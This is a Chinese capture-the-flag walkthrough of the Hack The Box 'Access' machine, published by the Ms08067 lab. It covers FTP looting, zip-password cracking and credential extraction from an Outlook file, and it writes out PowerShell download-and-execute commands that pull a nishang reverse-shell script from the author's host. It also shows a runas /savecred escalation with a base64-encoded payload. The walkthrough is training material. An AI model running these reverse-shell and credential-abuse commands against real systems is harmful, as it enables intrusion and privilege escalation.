出品|MS08067實驗室(www.ms08067.com)python
本文做者:大方子(Ms08067實驗室核心成員)
linux
Hack The Box是一個CTF挑戰靶機平臺,在線滲透測試平臺。它能幫助你提高滲透測試技能和黑盒測試技能,它包含了一些不斷更新的挑戰,其中有模擬真實世界場景,也有傾向於CTF風格的挑戰。git
https://www.hackthebox.eu/github
平臺上有不少靶機,從易到難,黑客每入侵一臺機器都會得到相應積分,經過積分排名設有名人堂。今天要實驗的是靶機Access。shell
首先咱們用nmap探測下靶機的信息。
nmap -sC -sV -T5 10.10.10.98數據庫
能夠看到靶機開放了21,23,80端口。telnet後面有一個?說明nmap也不肯定是否爲telnet。這裏我用msf來探測下FTP是否容許 匿名登錄,使用msf的/auxiliary/scanner/ftp/anonymous模塊。windows
FTP是運行匿名登錄的,那咱們進行遠程登錄FTP看看有什麼東西。安全
這裏我用wget遞歸下載FTP文件。
wget -m ftp://anonymous:anonymous@10.10.10.98服務器
發現報錯 沒法啓動PASV傳輸,那咱們加個 --no-passive 使用FTP的被動模式。
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98微信
下載成功!一樣咱們試下Telnet是否能匿名登錄。
不存在匿名登錄,可是我也肯定了23這個端口的是telnet,接下來在訪問下80端口。
咱們download下這個圖片看看這個圖片是否存在隱藏的信息。
先用exiftool查看是否存在圖片的其餘信息。
好像並無什麼額外的信息,再用strings查找下圖片的二進制裏面是否有字符串
strings out.jpg
也沒有發現什麼額外的信息,那咱們接下來用gobuster進行目錄的爆破。
gobuster -u http://10.10.10.98 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
通過了挺久的時間,沒爆破出什麼有用的信息。咱們去看下剛剛從FTP下載來的文件,先解壓Engineer目錄下的Access Control.Zip文件。
發生了一個錯誤,還7z來進行解壓。
7z x Access\ Control.zip
發現ZIP是須要密碼的,隨便輸入個密碼報錯,咱們用7z 的l命令下的slt命令。
7z l -slt Access\ Control.zip
參數說明:
l:用於顯示壓縮文件的信息
Slt:屬於l下的子命令用來顯示壓縮文件的技術信息
壓縮文件使用AES-256 Deflate進行加密的,咱們把密碼的HASH提取出來到時候破解用。
zip2john Access\ Control.zip > Access\ Control.hash
咱們在看下另外一個文件。
是一個access的數據庫文件,裏面應該會出現用於解壓壓縮文件的密碼。你能夠用工具打開查看裏面的數據一個一個找找到須要的密碼。
還有一個更快捷的方法,由於密碼最低就是8位的,咱們用過strings方法把mdb用二進制文件的形式打開,而後只輸出內容大於等於8的內容,在把這些內容輸出成一個wordlist用來破解壓縮文件。
strings -n 8 backup.mdb | sort -u > ../Engineer/wordlist
strings輸出的內容經過sort的-u參數去重,而後在輸出到文件裏面。
而後咱們利用john開始破解
破解成功,這裏可能很差找到密碼能夠用這條命令顯示破解出的密碼。
john Access\ Control.hash --show
密碼: access4u@security
那接下來咱們去解壓壓縮文件。
解壓成功!!!
咱們用file看下這個.pst是什麼文件
是一個outlook的我的文件夾。咱們用readpst來讀取下,而後目錄下面會多出一個Access Control.mbox文件。
咱們用
less Access Control.mbox
能夠看到security的密碼:4Cc3ssC0ntr0ller。咱們用得到憑證去登錄telnet。
Security:4Cc3ssC0ntr0ller
登錄成功!而後CD到桌面查看user.txt便可獲得user的flag。
接下來就是怎麼獲得管理員權限,測試下powershell是否能正常工做。
powershell正常的,那咱們本地搭建一個簡易的HTTP服務器放上咱們的powershell反彈shell腳本,讓靶機進行遠程下載執行反彈一個shell。
這裏用nishang 這是一個基於Powershell的攻擊框架,項目地址: https://github.com/samratashok/nishang。
咱們新建一個 www目錄 而後把nishang裏面須要用的腳本copy進去。
cp ~/HTB/Access/nishang/Shells/Invoke-PowerShellTcp.ps1 ~/HTB/Access/www/nishang.ps1
而後vi下編輯這個nishang.ps1,在最底下加上這行命令
Invoke-PowerShellTcp -Reverse -IPAddress 你的IP地址 -Port 監聽端口
而後咱們用nc 監聽9001
接着用python開啓HTTP服務器
而後在目標靶機telnet上執行這段代碼,就是遠程執行powershell腳本。
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.13.147:8000/nishang.ps1')"
以後就會反彈一個shell
接下來咱們在上傳一個腳本用來檢測Windows系統以提高權限。JAWS:https://github.com/411Hall/JAWS
咱們在剛剛反彈的shell中去執行這個腳本,來檢測目標系統的信息。
IEX(New-Object Net.WebClient).downloadString('http:// 10.10.13.147:8000/jaws-enum.ps1')
執行完成後會返回一系列信息,而後在這裏查找有關信息,這裏我只截取憑證部分。
上面是電腦中存儲的憑證。固然你也能夠用cmdkey /list 也會出現相關信息。
在查找的過程當中我在公共用戶的目錄裏面找到一個快捷鏈接。
百度下具體信息。
用type查看下內容,發現一些關鍵信息
Runas而且帶有/savecred ,Runas的介紹:https://blog.csdn.net/nzjdsds/article/details/88312910。
這個就能夠成爲咱們的利用點,可是用type得到信息雜亂無章,咱們需用另外一種方法來得到更爲詳細的整潔的輸出。這裏咱們用script腳本的建立快捷方式實現。
這裏WScript用來綁定Wscript.Shell的,而後Get-ChildItem *.lnk 就是跟dir差很少找出後綴爲.lnk文件(效果圖以下)。
而後咱們調用Wscript的CreateShortcut函數建立快捷方式來查看裏面的lnk裏面的詳細信息。
這裏我要說一下就是這裏建立的快捷方式是存在內存裏面的,在調用這個函數的SAVE函數以前,這個快捷方式是存在內存裏面的,咱們只是須要這個ZKAccess3.5Security System.lnk裏面的詳細工整的信息只是經過這個方式查看而已。
在這裏面咱們能夠很清楚的看到runas 而且帶有savecred 參數。因此這邊咱們runas的話能夠不須要用戶的憑證。
可是runas以後沒有任何報錯,可是命令也沒有執行成功,應該是編碼的問題。接下來咱們主要就是在這個shell中在runas反彈一個管理員權限的shell。
咱們先在本身的Kali中監聽9002,而後把咱們以前用於反彈的nishang.ps1從新複製一份爲nishang2.ps1並編輯下把nishang2.ps1把監聽的端口改成9002
【這裏因爲靶機不是一天以內完成並寫好文章的,因此本身的IP地址後來變成10.10.12.114】
runas /user:ACCESS\Administrator /savecred "powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')""
這裏我換了一種格式寫,發現個人python HTTP服務器出現了響應,可是9002並無返回shell。
在這裏猜想多是編碼的問題,windows和linux採用的編碼不同,因此咱們的命令須要轉換成windows可以識別的編碼,這裏咱們用iconv和base64。這裏轉碼要用UTF-16LE。
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
輸出內容:
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA=
而後咱們執行下:
runas /user:ACCESS\Administrator /savecred "Powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA="
而後發現9002端口獲得shell說明執行成功
到root的flag。
轉載請聯繫做者並註明出處!
Ms08067安全實驗室專一於網絡安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java代碼安全審計(入門篇)》等書籍。
團隊公衆號按期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地爲主,致力於作一個實用的乾貨分享型公衆號。
官方網站:https://www.ms08067.com/
掃描下方二維碼加入實驗室VIP社區
加入後邀請加入內部VIP羣,內部微信羣永久有效!